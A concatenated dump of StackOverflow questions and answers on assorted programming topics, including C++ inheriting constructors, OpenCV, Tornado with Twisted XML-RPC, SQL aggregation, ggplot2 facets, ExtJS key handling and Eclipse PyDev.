<pre><code>#include &lt;utility&gt; #include &lt;iostream&gt; struct B { B(int y) noexcept: x{y} { std::cout &lt;&lt; "B: Am I actually called?\n"; } virtual void f() = 0; int x; }; struct D: private B { private: using B::B; public: template&lt;typename... Args&gt; D(int a, Args&amp;&amp;... args) noexcept(noexcept(D{std::forward&lt;Args&gt;(args)...})) : B{std::forward&lt;Args&gt;(args)...} { std::cout &lt;&lt; "D: Am I actually called?\n"; } void f() override { std::cout &lt;&lt; x &lt;&lt; std::endl; } }; int main() { D* d = new D{71, 42}; (void)d; } </code></pre> <p>Also, I propose an alternative solution that is a bit more intrusive and is based on the idea for which the <code>std::allocator_arg_t</code> stands for, that is also the same proposed by Piotr Skotnicki in a comment:</p> <blockquote> <p>it's enough if derived class' constructor wins in overload resolution.</p> </blockquote> <p>It follows the code mentioned <a href="http://coliru.stacked-crooked.com/a/df24001de4f3f925" rel="nofollow">here</a>:</p> <pre><code>#include &lt;utility&gt; #include &lt;iostream&gt; struct B { B(int y) noexcept: x{y} { std::cout &lt;&lt; "B: Am I actually called?\n"; } virtual void f() = 0; int x; }; struct D: public B { private: using B::B; public: struct D_tag { }; template&lt;typename... Args&gt; D(D_tag, Args&amp;&amp;... args) noexcept(noexcept(D{std::forward&lt;Args&gt;(args)...})) : B{std::forward&lt;Args&gt;(args)...} { std::cout &lt;&lt; "D: Am I actually called?\n"; } void f() override { std::cout &lt;&lt; x &lt;&lt; std::endl; } }; int main() { D* d = new D{D::D_tag{}, 42}; (void)d; } </code></pre> <p>Thanks once more to Piotr Skotnicki for his help and comments, really appreciated.</p>
6482113	0	Concatenating two fields in a collect <p>Rails 2.3.5</p> <p>I'm not having any luck searching for an answer on this. I know I could just write out a manual sql statement with a concat in it, but I thought I'd ask:</p> <p>To load a select, I'm running a query of shift records. I'm trying to make the value in the select be shift date followed by a space and then the shift name. I can't figure out the syntax for doing a concat of two fields in a collect. The Ruby docs make it looks like plus signs and double quotes should work in a collect but everything I try gets a "expected numeric" error from Rails.</p> <pre><code> @shift_list = [a find query].collect{|s| [s.shift_date + " " + s.shift_name, s.id]} </code></pre> <p>Thanks for any help - much appreciated.</p>
30706458	0	convert unsigned short mat to vector in opencv <p>I load a depth image in opencv with</p> <pre><code>cv::Mat depth = cv::imread("blabla.png",CV_LOAD_IMAGE_UNCHANGED); </code></pre> <p>then get a subimage of it with</p> <pre><code>cv::Mat sub_image= depth(cv::Rect( roi_x,roi_y,roi_size,roi_size)).clone(); </code></pre> <p>now I want to convert that sub_image into a vector</p> <p>I try with</p> <pre><code>std::vector&lt;uchar&gt; array; array.assign(sub_image.datastart,sub_image.dataend); </code></pre> <p>that found here in StackOverflow in a similar question but it seems it doesnt work properly.</p> <p>The size of array after assignment isnt roi_size * roi_size, but instead roi_size*roi_size*2 </p> <p>Is something wrong with the type of vector?? I also tried various other types like double, float, int, etc</p> <p>The type of the depth image is unsigned short right??</p> <p>Edit:</p> <p>array fills properly (correct size roi_size*roi_size) when I normalize the depth image </p> <pre><code>cv::Mat depthView; cv::normalize(depth, depthView, 0, 255, cv::NORM_MINMAX,CV_8UC1); </code></pre> <p>but thats not what I want to do</p>
8076814	0	 <p>In UIWebView delegate you can handle the navigation notification and prevent it; from the notification you will know the PDF URL, that will allow you to use NSURLConnection to download it.</p>
12580705	0	ASP.NET MVC and friendly URLs <p>I'm trying to learn a bit more about creating friendly URLs, particularly in relation to something like an e-commerce site. If you take a look at this site as an example: <a href="http://www.wiggle.co.uk/" rel="nofollow">http://www.wiggle.co.uk/</a> </p> <p>It basically lets you refine your search based on the categories. So if I go to <a href="http://www.wiggle.co.uk/mens/road-time-trial-bikes/" rel="nofollow">http://www.wiggle.co.uk/mens/road-time-trial-bikes/</a> it will list all men's road bikes, if I then go to <a href="http://www.wiggle.co.uk/road-time-trial-bikes/" rel="nofollow">http://www.wiggle.co.uk/road-time-trial-bikes/</a> it will list men's and women's bikes, and if I go to <a href="http://www.wiggle.co.uk/bianchi-sempre-105/" rel="nofollow">http://www.wiggle.co.uk/bianchi-sempre-105/</a> it will display a particular bike.</p> <p>I'm not really sure what the routing would look like for something like this, as you could have many filters in the URL. I'm also not sure how how it's able to distinguish between what's a filter and what's a product. </p>
19300264	0	 <p>It's usually a good idea to check if <a href="http://twistedmatrix.com/trac/" rel="nofollow">Twisted</a> has support for various operations, since it can be combined with Tornado using <code>tornado.platform.twisted</code>. For XML-RPC there is following code: <a href="http://twistedmatrix.com/documents/13.0.0/web/howto/xmlrpc.html" rel="nofollow">http://twistedmatrix.com/documents/13.0.0/web/howto/xmlrpc.html</a> A simple example:</p> <pre><code>import tornado.httpserver import tornado.ioloop import tornado.web import tornado.platform.twisted tornado.platform.twisted.install() from twisted.web.xmlrpc import Proxy from twisted.internet import reactor proxy = Proxy('http://advogato.org/XMLRPC') from tornado.options import define, options define("port", default=8000, help="run on the given port", type=int) class IndexHandler(tornado.web.RequestHandler): def printValue(self, value): self.write(repr(value)) self.finish() def printError(self, error): self.write('error: %s' % error) self.finish() @tornado.web.asynchronous def get(self): proxy.callRemote('test.sumprod', 3, 5).addCallbacks(self.printValue, self.printError) if __name__ == "__main__": tornado.options.parse_command_line() app = tornado.web.Application(handlers=[(r"/", IndexHandler)]) http_server = tornado.httpserver.HTTPServer(app) http_server.listen(options.port) tornado.ioloop.IOLoop.instance().start() </code></pre> <p>Benchmarking:</p> <pre><code>$ ab -n 1000 -c 5 http://localhost:8000/ This is ApacheBench, Version 2.3 &lt;$Revision: 655654 $&gt; Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Completed 500 requests Completed 600 requests Completed 700 requests Completed 800 requests Completed 900 requests Completed 1000 requests Finished 1000 requests Server Software: TornadoServer/3.0.1 Server Hostname: localhost Server Port: 8000 Document Path: / Document Length: 7 bytes Concurrency Level: 5 Time taken for tests: 76.529 seconds Complete requests: 1000 Failed requests: 0 Write errors: 0 Total transferred: 201000 bytes HTML transferred: 7000 bytes Requests per second: 13.07 [#/sec] (mean) Time per request: 382.646 [ms] (mean) Time per request: 76.529 [ms] (mean, across all concurrent requests) Transfer rate: 2.56 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.0 0 0 Processing: 302 382 498.9 308 5318 Waiting: 302 382 498.9 308 5318 Total: 302 382 498.9 308 5318 Percentage of the requests served within a certain time (ms) 50% 308 66% 310 75% 311 80% 313 90% 320 95% 334 98% 1310 99% 3309 100% 5318 (longest request) </code></pre> <p>Straight use of <code>xmlrpclib</code> for comparison:</p> <pre><code>import tornado.httpserver import tornado.ioloop import tornado.web import xmlrpclib server = xmlrpclib.ServerProxy('http://advogato.org/XMLRPC') from tornado.options import define, options define("port", default=8000, help="run on the given port", type=int) class IndexHandler(tornado.web.RequestHandler): def get(self): self.write(repr(server.test.sumprod(3, 5))) if __name__ == "__main__": tornado.options.parse_command_line() app = tornado.web.Application(handlers=[(r"/", IndexHandler)]) http_server = tornado.httpserver.HTTPServer(app) http_server.listen(options.port) tornado.ioloop.IOLoop.instance().start() </code></pre> <p>Benchmarking:</p> <pre><code>$ ab -n 1000 -c 5 http://localhost:8000/ This is ApacheBench, Version 2.3 &lt;$Revision: 655654 $&gt; Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Completed 500 requests Completed 600 requests Completed 700 requests Completed 800 requests Completed 900 requests Completed 1000 requests Finished 1000 requests Server Software: TornadoServer/3.0.1 Server Hostname: localhost Server Port: 8000 Document Path: / Document Length: 7 bytes Concurrency Level: 5 Time taken for tests: 325.538 seconds Complete requests: 1000 Failed requests: 0 Write errors: 0 Total transferred: 201000 bytes HTML transferred: 7000 bytes Requests per second: 3.07 [#/sec] (mean) Time per request: 1627.690 [ms] (mean) Time per request: 325.538 [ms] (mean, across all concurrent requests) Transfer rate: 0.60 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.0 0 0 Processing: 305 1625 484.5 1532 4537 Waiting: 305 1624 484.5 1532 4537 Total: 305 1625 484.5 1532 4537 Percentage of the requests served within a certain time (ms) 50% 1532 66% 1535 75% 1537 80% 1539 90% 1547 95% 1984 98% 4524 99% 4533 100% 4537 (longest request) </code></pre> <p>Much worse.</p>
4051369	0	 <p>Suppose you have an integer array</p> <pre><code>int Marks[1000]={22,32,12,..............}; </code></pre> <p>First of all you sort your array</p> <pre><code>int g,r,c; for ( r=0; r &lt;=999; r++) { for ( g=r+1;g&lt;=1000;g++) { if ( Marks[r] &lt; Marks[g] ) { c=Marks[r]; // these 3 statements swap values Marks[r] =Marks[g]; // in the 2 cells being compared Marks[g] = c; } } } </code></pre> <p>Now you find that largest number is Marks[0] and second large is Marks[1]</p>
13519338	0	PyDev "New Project" crashes Eclipse <p>I'm a Python and PyDev newbie. My environment is OS X 10.6.11, Eclipse Indigo, PyDev 2.7.1, Python 2.6 and 3.3.</p> <p>Starting from any perspective (PyDev, Java, others), selecting New->Project->PyDev->PyDev Project results in an endless spinning color beachball. The only way out is to Force Quit Eclipse.</p> <p>Starting from the PyDev perspective, if I select New->Project, and then select General->Project, the same crash occurs.</p> <p>My only recourse seems to be to create a generic project from, say, the Java perspective, then right-click the project in the package explorer view and choose PyDev->Set as PyDev Project, then switch to the PyDev perspective, then configure the project folder manually.</p> <p>Am I missing something in my installation? Is this a known problem with PyDev?</p>
26827252	0	 <p>if you <em>really</em> want to do this, you could use reflection:</p> <pre><code>Person obj = new Person(); Method method = Person.class.getMethod("getFirstname"); String firstname = method.invoke(obj); </code></pre> <p>but as mentioned in the comments, you better use a map to hold attribute values:</p> <pre><code>class Person { private Map&lt;String,Object&gt; attrs = new HashMap&lt;&gt;(); public void setAttribute(String attr, Object value) { attrs.put(attr,vaue); } public Object getAttribute(String attr) { attrs.get(attr); } } Person person = new Person(); person.setAttribute("firstname","patrick"); String firstname = (String)person.getAttribute("firstname"); </code></pre>
10269164	0	how to use the postgres database embedded with Mac Lion? <p>i can only find psql command, but can't find any other postgres commands or tools, can anyone tell me how to create database and connect to it using the default postgres shipped with mac lion?</p> <p>only if it doesn't work ,i dont' want to install another postgres instance.</p>
12903917	0	 <p>Your code cannot be compiled because in java character <code>'</code> ( single quote ) is used to mark one character. In order to define string you should use double quote <code>"</code>. </p> <p>In your case I believe that you wanted to check whether your string contains digits only and were confused with regular expression syntax you tried to use incorrectly.</p> <p>You can either rewirte your if statement as following:</p> <p>char c = str.charAt(i); <code>if(c&gt;= '0' &amp;&amp; c &lt;= 9) {</code></p> <p>or use pattern matching, e.g. <code>Pattern.compile("\\d+").matcher(str).matches()</code></p> <p>In this case you even do not need to implement any loop.</p>
7757365	0	Does LINQ work with IEnumerable? <p>I have a class that implements <code>IEnumerable</code>, but doesn't implement <code>IEnumerable&lt;T&gt;</code>. I can't change this class, and I can't use another class instead of it. As I've understood from MSDN <a href="http://msdn.microsoft.com/en-us/library/bb308959.aspx#linqoverview_topic3">LINQ can be used if class implements <code>IEnumerable&lt;T&gt;</code></a>. I've tried using <code>instance.ToQueryable()</code>, but it still doesn't enable LINQ methods. I know for sure that this class can contain instances of only one type, so the class could implement <code>IEnumerable&lt;T&gt;</code>, but it just doesn't. So what can I do to query this class using LINQ expressions?</p>
15934544	0	 <p>alright so this is what worked, the null characters in the array were causing issues and were returning the last null in the array so i forced the array to break after each if/else statement by putting x = memberAcc.length +1; and y = newMember.length +1; to do this. Causing the entire array to be checked and then forced to be broken allowing me to return to my Menu while loop.</p>
37907227	0	 <p>Do it the same way like you did with your update, use SQL parameters for the where clause. So this code should work:</p> <pre><code>protected void Button2_Click(object sender, EventArgs e) { string sel = DropDownList1.SelectedValue; // if your selection is empty, abort early if( sel == null || string.IsNullOrEmpty(sel.Text)) return; // use a SQL parameter like you did with update string query = "DELETE FROM MovieList WHERE Movie=@MovieValue"; System.Data.OleDb.OleDbCommand ocmd = new System.Data.OleDb.OleDbCommand(query, new System.Data.OleDb.OleDbConnection(CSTR)); // here the selected text for the movie is set to the movie parameter ocmd.Parameters.AddWithValue("@MovieValue", sel.Text); ocmd.Connection.Open(); ocmd.ExecuteNonQuery(); ocmd.Connection.Close(); populateDropDowns(); } </code></pre>
4402022	0	 <p>Neither are a direct port, but of the two -- MySQL's syntax is more similar to SQL Server's than PostgreSQL. </p> <p>SQL Server 2000 didn't have analytic/ranking/windowing functionality -- neither does MySQL currently. Also, no WITH/CTE support - again, MySQL doesn't support this either. If you were migrating away from SQL Server 2005+, I'd have recommended PostgreSQL 8.4+ for the sake of either of the two things I just mentioned.</p>
20088539	0	Corona SDK with Graphic 2.0 position not working <p>I have upgraded my Corona SDK version to 2013.2076 (with Graphic 2.0). But now my background images are not working and the app is crashing.</p> <pre><code>local background = display.newImageRect("/bg.png", 570, 360 ) background:setReferencePoint( display.CenterReferencePoint ) background.x = display.contentCenterX ; background.y = display.contentCenterY gameGroup:insert(background) </code></pre> <p>It is working perfectly in previous version of Corona SDK. I am not being able to identify the issue. Please help</p>
281894	0	 <p>Here's a trick: calculating a <code>SUM()</code> of values that are known to be either 1 or 0 is equivalent to a <code>COUNT()</code> of the rows where the value is 1. And you know that a boolean comparison returns 1 or 0 (or NULL).</p> <pre><code>SELECT c.catname, COUNT(m.catid) AS item_count, SUM(i.ownerid = @ownerid) AS owner_item_count FROM categories c LEFT JOIN map m USING (catid) LEFT JOIN items i USING (itemid) GROUP BY c.catid; </code></pre> <p>As for the bonus question, you could simply do an inner join instead of an outer join, which would mean only categories with at least one row in <code>map</code> would be returned.</p> <pre><code>SELECT c.catname, COUNT(m.catid) AS item_count, SUM(i.ownerid = @ownerid) AS owner_item_count FROM categories c INNER JOIN map m USING (catid) INNER JOIN items i USING (itemid) GROUP BY c.catid; </code></pre> <p>Here's another solution, which is not as efficient but I'll show it to explain why you got the error:</p> <pre><code>SELECT c.catname, COUNT(m.catid) AS item_count, SUM(i.ownerid = @ownerid) AS owner_item_count FROM categories c LEFT JOIN map m USING (catid) LEFT JOIN items i USING (itemid) GROUP BY c.catid HAVING item_count &gt; 0; </code></pre> <p>You can't use column aliases in the <code>WHERE</code> clause, because expressions in the <code>WHERE</code> clause are evaluated before the expressions in the select-list. In other words, the values associated with select-list expressions aren't available yet.</p> <p>You can use column aliases in the <code>GROUP BY</code>, <code>HAVING</code>, and <code>ORDER BY</code> clauses. These clauses are run after all the expressions in the select-list have been evaluated.</p>
13209463	0	 <p>There would be no point in <code>std::vector::operator[]</code> returning a reference if you couldn't actually do anything with it. Your code is perfectly fine.</p>
669696	0	 <p>You should check out <a href="http://weblogs.asp.net/podwysocki/archive/2008/11/08/code-contracts-for-net-4-0-spec-comes-alive.aspx" rel="nofollow noreferrer"><strong>Code Contracts</strong></a>; they do pretty much exactly what you're asking. Example:</p> <pre><code>[Pure] public static double GetDistance(Point p1, Point p2) { CodeContract.RequiresAlways(p1 != null); CodeContract.RequiresAlways(p2 != null); // ... } </code></pre>
28608607	0	 <p><strong>Main thread</strong></p> <ol> <li>Create an event. For instance, <code>TSimpleEvent</code> will suffice for your needs.</li> <li>Set the event to be non-signaled. For <code>TSimpleEvent</code> that's a call to <code>ResetEvent</code>. I expect that a newly minted <code>TSimpleEvent</code> would be in the non-signaled state, but off the top of my head I cannot remember that detail.</li> <li>Create the thread, passing the event in the constructor.</li> <li>Wait for the event to become signaled. For <code>TSimpleEvent</code> that means calling <code>WaitFor</code>.</li> </ol> <p><strong>Worker thread</strong></p> <ol> <li>Make a note of the event passed to the thread's constructor.</li> <li>At the start of the thread execution, signal the event. For <code>TSimpleEvent</code> that means calling <code>SetEvent</code>.</li> </ol>
23270775	0	 <p>You problem is explained in the logcat :</p> <pre><code>android.widget.ImageView cannot be cast to android.widget.TextView </code></pre> <p>And by looking at the next line of your Logcat you can see where it happened:</p> <pre><code>at com.nando.gridview.Dialog.onCreate(Dialog.java:21) </code></pre> <p>So change the following:</p> <pre><code>TextView DialogText=(TextView) findViewById(R.id.imageViewDialog); </code></pre> <p>Into this:</p> <pre><code>TextView DialogText=(TextView) findViewById(R.id.idofyourtextview); </code></pre>
30398847	0	 <p>Try this:</p> <pre><code>#data df &lt;- read.table(text=" tissueA tissueB tissueC gene1 4.5 6.2 5.8 gene2 3.2 4.7 6.6") #result apply(df,1,function(i){ my.max &lt;- max(i) my.statistic &lt;- (1-log2(i)/log2(my.max)) my.sum &lt;- sum(my.statistic) my.answer &lt;- my.sum/(length(i)-1) my.answer }) #result # gene1 gene2 # 0.1060983 0.2817665 </code></pre>
1573785	0	 <p>Because when linking statically, the order in which you specify the libraries and object files does matter. Specifically, a library must be mentioned after object files that use symbols from it.</p>
8127828	0	Scrolling a Gallery with buttons <p>I have a Gallery whose Adapter creates several LinearLayout instances. Those linear layout instances have buttons, however, and when someone clicks the buttons, they can't drag the gallery.</p> <p>My idea is having a menu that the user can scroll through. The kind of thing that would normally be done with a ScrollView, but because I want the scrolled view to 'Snap' to the current button pages, a Gallery works better.</p> <p>This question is similar to this one: <a href="http://stackoverflow.com/questions/7192417/android-gallery-of-linearlayouts">Android gallery of LinearLayouts</a></p> <p>However, while I've fixed the 'buttons appear clicked' when dragging issue, I can't seem to make it work like a ScrollView does, by having the buttons work as part of the dragging area.</p> <p>Any hints?</p> <p>Not sure if the code is relevant, but here it is.</p> <p>Layout that contains the gallery:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;FrameLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" &gt; &lt;Gallery android:id="@+id/gallery" android:layout_width="match_parent" android:layout_height="wrap_content" android:fadingEdge="none" android:spacing="0dp"/&gt; &lt;/FrameLayout&gt; </code></pre> <p>The test activity that populates the gallery:</p> <pre><code>import com.zehfernando.display.widgets.ZGallery; public class ScrollTestActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.scrolltest); Gallery gallery = (Gallery) findViewById(R.id.gallery); gallery.setAdapter(new LayoutAdapter(this)); } public class LayoutAdapter extends BaseAdapter { private Context mContext; public LayoutAdapter(Context c) { mContext = c; } public int getCount() { return 3; } public Object getItem(int position) { return position; } public long getItemId(int position) { return position; } public View getView(int position, View convertView, ViewGroup parent) { LayoutInflater vi = (LayoutInflater) getApplicationContext().getSystemService(Context.LAYOUT_INFLATER_SERVICE); View v = vi.inflate(R.layout.scrolllayout, null); v.setMinimumWidth(getWindowManager().getDefaultDisplay().getWidth()); return v; } } } </code></pre> <p>The layout for the frames that go inside the gallery:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;com.zehfernando.display.widgets.ScrollableLinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" &gt; &lt;Button android:id="@+id/buttonRegister" android:layout_width="200dp" android:layout_height="72dp" android:text="REGISTER"/&gt; &lt;Button android:id="@+id/buttonUnregister" android:layout_width="match_parent" android:layout_height="72dp" android:text="UNREGISTER" /&gt; &lt;/com.zehfernando.display.widgets.ScrollableLinearLayout&gt; </code></pre> <p>"ScrollableLinearLayout" is just my class that extends LinearLayout to override onPressed.</p>
7959576	0	 <p>Two things to consider:</p> <ol> <li><p>Maybe you should have a habit of rebasing these branches onto the tip of master (or wherever) before landing them. This way, they are strictly redundant as KingCrush suggests above, and can be destroyed to be recreated later if you find a problem.</p></li> <li><p>Use rename to mark branches you're not sure if you'll need again with a specific prefix, so that you can scan past them quickly in a list of branches when you know you're not looking for an obsolete feature branch.</p></li> </ol> <p>You could use some mixture of these techniques, e.g. always rebase, then rename branch foo to landed-foo, and then after a set interval (say, one release, or 30 days) delete the landed-foo branch.</p> <p>Notice that if you don't rebase (and run any tests on the rebased version) you have no way to be sure that a bug found after it lands was actually in the code as developed, and not caused by the impact of merging it after development, so in this case you might want to keep the branch for a while. This will happen more often with invasive / very large changes, not like your question scenario.</p>
8246629	0	 <p>In BlackBerry, for performance resons, there was a file size limitation regarding attachments, so only a portion of the message was downloaded. The attachments were not actually delivered to the device unless the user opened them.</p> <p>Now, in JDE 5.0, they introduced a new class, <a href="http://www.blackberry.com/developers/docs/7.0.0api/net/rim/blackberry/api/mail/AttachmentDownloadManager.html" rel="nofollow"><code>AttachmentDownloadManager</code></a>, that allows the programmer to force a retrieval from code.</p> <p>It could be something like this (not tested):</p> <pre><code>Message m = ... //The mail message instance. AttachmentDownloadManager atm = new AttachmentDownloadManager(); BodyPart[] bparr = atm.getAttachmentBodyParts(m); atm.download(bparr, &lt;some folder path&gt;, null); </code></pre>
4276218	0	How do you set different scale limits for different facets? <p>Some sample data:</p> <pre><code>dfr &lt;- data.frame( x = rep.int(1:10, 2), y = runif(20), g = factor(rep(letters[1:2], each = 10)) ) </code></pre> <p>A simple scatterplot with two facets:</p> <pre><code>p &lt;- ggplot(dfr, aes(x, y)) + geom_point() + facet_wrap(~ g, scales = "free_y") </code></pre> <p>I can set the axis limits for all panels with</p> <pre><code>p + scale_y_continuous(limits = c(0.2, 0.8)) </code></pre> <p>(or a wrapper for this like <code>ylim</code>)</p> <p>but how do I set different axis limits for different facets?</p> <p>The latticey way to do it would be to pass a list to this argument, e.g.,</p> <pre><code>p + scale_y_continuous(limits = list(c(0.2, 0.8), c(0, 0.5))) </code></pre> <p>Unfortunately that just throws an error in the ggplot2 case.</p> <p><strong>EDIT:</strong></p> <p>Here's a partial hack. If you want to extend the range of the scales then you can add columns to your dataset specifying the limits, then draw them with <code>geom_blank</code>.</p> <p>Modified dataset:</p> <pre><code>dfr &lt;- data.frame( x = rep.int(1:10, 2), y = runif(20), g = factor(rep(letters[1:2], each = 10)), ymin = rep(c(-0.6, 0.3), each = 10), ymax = rep(c(1.8, 0.5), each = 10) ) </code></pre> <p>Updated plot:</p> <pre><code>p + geom_blank(aes(y = ymin)) + geom_blank(aes(y = ymax)) </code></pre> <p>Now the scales are different and the left hand one is correct. Unfortunately, the right hand scale doesn't contract since it needs to make room for the points.</p> <p>In case it helps, we can now rephrase the question as "is it possible to draw points without the scales being recalculated and without explicitly calling <code>scale_y_continuous</code>?"</p>
19762416	0	adding images to the ckeditor <p>i want to add image again in the ck editor when i click on button "add gap"</p> <p>here is my code</p> <pre><code>&lt;div class="control-group" align="left" style="float: left" onselect="selectText()"&gt; &lt;textarea name="editor1" id="myTextarea"&gt;&lt;p&gt;please type&lt;img src="img/gap-placeholder.png"/&gt;&lt;/p&gt; &lt;/textarea&gt; &lt;/div&gt; &lt;div style="float: left;margin-left: 5px"&gt; &lt;input type="button" value="Add Gap" onclick="insertText();"/&gt; &lt;/div&gt; </code></pre>
35462483	0	Cannot uninstall ionic using npm on Mac <p>I am trying to switch to ionic2. Installing on top of my previous installation of ionic 1 appears to succeed (based on the output) but ionic1 remains as shown by ionic info. Here were the steps. Any help would be appreciated.</p> <ol> <li>Successfully Installed ionic2@beta using sudo npm install -g ionic@beta</li> <li>ionic -v shows version 1.7.14</li> <li>Uninstalled using npm uninstall -g ionic</li> <li>Successfully (based on printout) uninstalled ionic 2</li> <li>ionic -v shows version 1.7.14 (WTF)</li> <li>Tried 'npm uninstall -g ionic' again</li> <li>Received command prompt immediately, no other outputs (no affect)</li> <li>ionic -v shows version 1.7.14</li> </ol>
5357951	0	 <p>I have finally found my own answer again. Basically, <strong>it came down to restart intellij</strong> and the plugin will show under plugins. For some reason while doing "Grails/Synchronize Grails Settings" was not making the plugin show up.</p> <p>So to successfully install the gails mail plugin do as follows</p> <ol> <li>Add <strong>activation1-1.jar</strong> and <strong>mail.jar</strong> to your lib folder</li> <li>In <strong>BuildConfig.groovy</strong> uncomment mavenCenral()</li> <li>Run grails command: <strong>grails install-plugin mail</strong></li> <li>In IntelliJ click on <strong>Apply Grails Changes to IDEA project structure</strong> if asked in the<br> yellow popup</li> <li>If IntelliJ still does not recognize the plugin do <strong>Grails/Synchronize Grails</strong> either by right clicking on "Plugins" or in the project name</li> <li>If IntelliJ still does not recognize the plugin, restart IntelliJ do a <strong>Grails/Synchronize Grails</strong>.</li> <li>The plugin should be correctly installed and ready to use.</li> </ol>
21879098	0	 <p>This is called reverse geocoding. Here is a sample code that does that:</p> <pre><code>MapAddress address; ReverseGeocodeQuery query = new ReverseGeocodeQuery(); query.GeoCoordinate = myGeoCoordinate; query.QueryCompleted += (s, e) =&gt; { if (e.Error != null) return; address = e.Result[0].Information.Address; }; query.QueryAsync(); </code></pre> <p>That API is available on Windows Phone 8 and I see the question is tagged WP7 but since you seem to use the <code>Geolocator</code> API, I guess you are on WP8. Otherwise, you'd have to use this kind of service: <a href="http://msdn.microsoft.com/en-us/library/ff701710.aspx" rel="nofollow">Find a Location by Point</a></p>
40717336	0	 <p>Change the database tables collations types to <code>utf8_general_ci</code> and also table fields collations change to <code>utf8_general_ci</code>.</p> <p><a href="https://i.stack.imgur.com/hi7gl.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hi7gl.png" alt="enter image description here"></a></p>
16993902	0	 <p>IMHO, the concept is wrong. You dont need to use merge-sort here. Try searching for PriorityQueue or actually BinaryHeap in order to solve this task. Secondly, merge sort on linked list is not a good idea since it will not be efficient at all. I think you should totally rework your solution.</p> <p>NB. Just implement the operation YourLinkedList.getByIndex() for convinience, add the size atribute to hold the number of items in the linked list, then create one more linkedList and perform the bottom-up merge-sort like you would do with a simple array.</p> <p>Structures:</p> <pre><code>public class Item { private String word; private Item next; public Item(String word) { this.word = word; } public Item getNext() { return next; } public void setNext(Item next) { this.next = next; } public String getWord() { return word; } public void setWord(String word) { this.word = word; } } </code></pre> <p>Linked List:</p> <pre><code>public class LinkedList { private int size = 0; private Item first = null; public void swapFragment(LinkedList list, int from, int to) { if (from &gt;= 0 &amp;&amp; to &lt; size) { list.get(to-from).setNext(this.get(to+1)); if (from &gt; 0) { this.get(from-1).setNext(list.get(0)); } else { this.first = list.get(0); } } } public void addItem(String word) { if (first == null) { first = new Item(word); } else { Item item = first; while (item.getNext() != null) { item = item.getNext(); } item.setNext(new Item(word)); } this.size++; } public Item get(int index) { if (index &gt;= size) { return null; } else { Item item = first; for(int i = 1; i &lt;= index; i++) { item = item.getNext(); } return item; } } public int getSize() { return size; } public void setSize(int size) { this.size = size; } public String toString() { Item item = first; String message = null; if (item != null) { message = item.getWord() + " "; } else { return null; } while (item.getNext() != null) { item = item.getNext(); message = message + item.getWord() + " "; } return message; } } </code></pre> <p>Merge Sort:</p> <pre><code>public class ListMergeSort { public void sort(LinkedList list, int lo, int hi) { if (hi &lt;= lo) { return; } int mid = lo + (hi-lo)/2; sort(list, lo, mid); sort(list, mid+1, hi); merge(list, lo, hi, mid); } private void merge(LinkedList list, int lo, int hi, int mid) { int i = lo; int j = mid+1; LinkedList newList = new LinkedList(); for (int k = lo; k &lt;= hi; k++) { if (i &gt; mid) { newList.addItem(list.get(j).getWord()); j++; } else if (j &gt; hi) { newList.addItem(list.get(i).getWord()); i++; } else if (list.get(i).getWord().compareTo(list.get(j).getWord()) &lt; 0) { newList.addItem(list.get(i).getWord()); i++; } else { newList.addItem(list.get(j).getWord()); j++; } } list.swapFragment(newList, lo, hi); } } </code></pre> <p>Test Class for Strings:</p> <pre><code>import org.junit.*; public class MergeTest { @Test public void testWords() { LinkedList list = new LinkedList(); list.addItem("word"); list.addItem("pipe"); list.addItem("trainer"); list.addItem("stark"); list.addItem("33"); list.addItem("dmitry"); ListMergeSort lms = new ListMergeSort(); lms.sort(list, 0, list.getSize()-1); } } </code></pre> <p>Now you just need to create a class which receives a string as an argument, splits it with String.split() and adds the resulting words into the internal LinkedList datastructure. Then you sort them inside with the merge sort and you get the result.</p>
5547785	0	Extjs listener on keystroke checking if its ANY character <p>I cant seem to find this anywhere. I want to find the best way to check whether a keystroke is actually a character. </p> <pre><code>listeners:{ 'keyup':function(f, e){ //Is key a letter/character } } </code></pre> <p>EDIT</p> <p>Thanks to everyone who has answered, I DO know how to detect the actual key that was pressed, I want to know how to detect whether the key is actually a character (not arrows, backspace, enter etc) </p>
7177184	0	How to create Filter for org.eclipse.jface.viewers.CheckboxTreeViewer? <p>I have to create Filter for my CheckboxTreeViewer. I'm not getting how to do that. I'm using following class</p> <pre><code>org.eclipse.pde.internal.ui.shared.FilteredCheckboxTree </code></pre> <p>and following way to get the FilteredCheckboxTree object:</p> <pre><code>FilteredTree ft = new FilteredCheckboxTree(parent, null, 0, null); </code></pre> <p>but it is telling me: </p> <p>The constructor FilteredCheckboxTree(Composite, FormToolkit, int, PatternFilter) refers to the missing type FormToolkit. </p> <p>I'm not getting what exactly the problem is. Please help if you know about it. Or if there is any other way to get Filter then do let me know.</p> <p>Thanks in advance!!!</p>
6208325	0	 <p>Seems to work for me, what browser are you using?</p> <p><a href="http://jsfiddle.net/YLCff/" rel="nofollow">http://jsfiddle.net/YLCff/</a></p>
